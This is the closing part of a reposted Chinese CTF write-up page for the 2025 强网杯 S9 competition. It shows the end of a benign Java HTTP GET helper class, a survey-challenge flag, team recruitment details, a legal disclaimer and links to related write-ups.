33&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; responseBuffer.append(inputLine);

34}

35&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; in.close();

36&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response&nbsp;=&nbsp;responseBuffer.toString();

37}else{

38&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response&nbsp;="HTTP error code: "+&nbsp;responseCode;

39}

40}catch(IOException&nbsp;e){

41&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response&nbsp;="Exception occurred: "+&nbsp;e.getMessage();

42}

43return&nbsp;response;

44}

45

46@Override

47protectedvoidonPostExecute(String&nbsp;result){

48&nbsp; &nbsp; &nbsp; &nbsp; callback.onHttpGetComplete(result);

49}

50

51publicinterfaceHttpGetCallback{

52voidonHttpGetComplete(String&nbsp;result);

53}

54}

问卷调查

填写问卷,获得flag

flag{我已知晓,并会认真撰写wp!}

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Neko205


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星盟安全 @星盟安全团队《2025强网杯S9WP》

RCTF2025-WP 网络安全文章

RCTF2025-WP

文章总结: 本文是RCTF2025Writeup,涵盖PWN、WEB、MISC、CRYPTO及逆向方向。PWN题利用浮点数与Shellcode注入;WEB题涉及
京津翼长城杯WP 网络安全文章

京津翼长城杯WP

文章总结: 本文详述京津冀长城杯CTF赛题解法。AI类涵盖数据标签投毒、模型后门植入及配置文件投毒;Web类利用特殊模式目录穿越、Tar软链接绕过WAF上传及C
WMCTF2025-WP 网络安全文章

WMCTF2025-WP

文章总结: 本文是WMCTF2025Writeup,涵盖Crypto、PWN、Web及Reverse方向。Crypto题解涉及格基规约与HNP攻击;PWN部分详
评论:0   参与:  0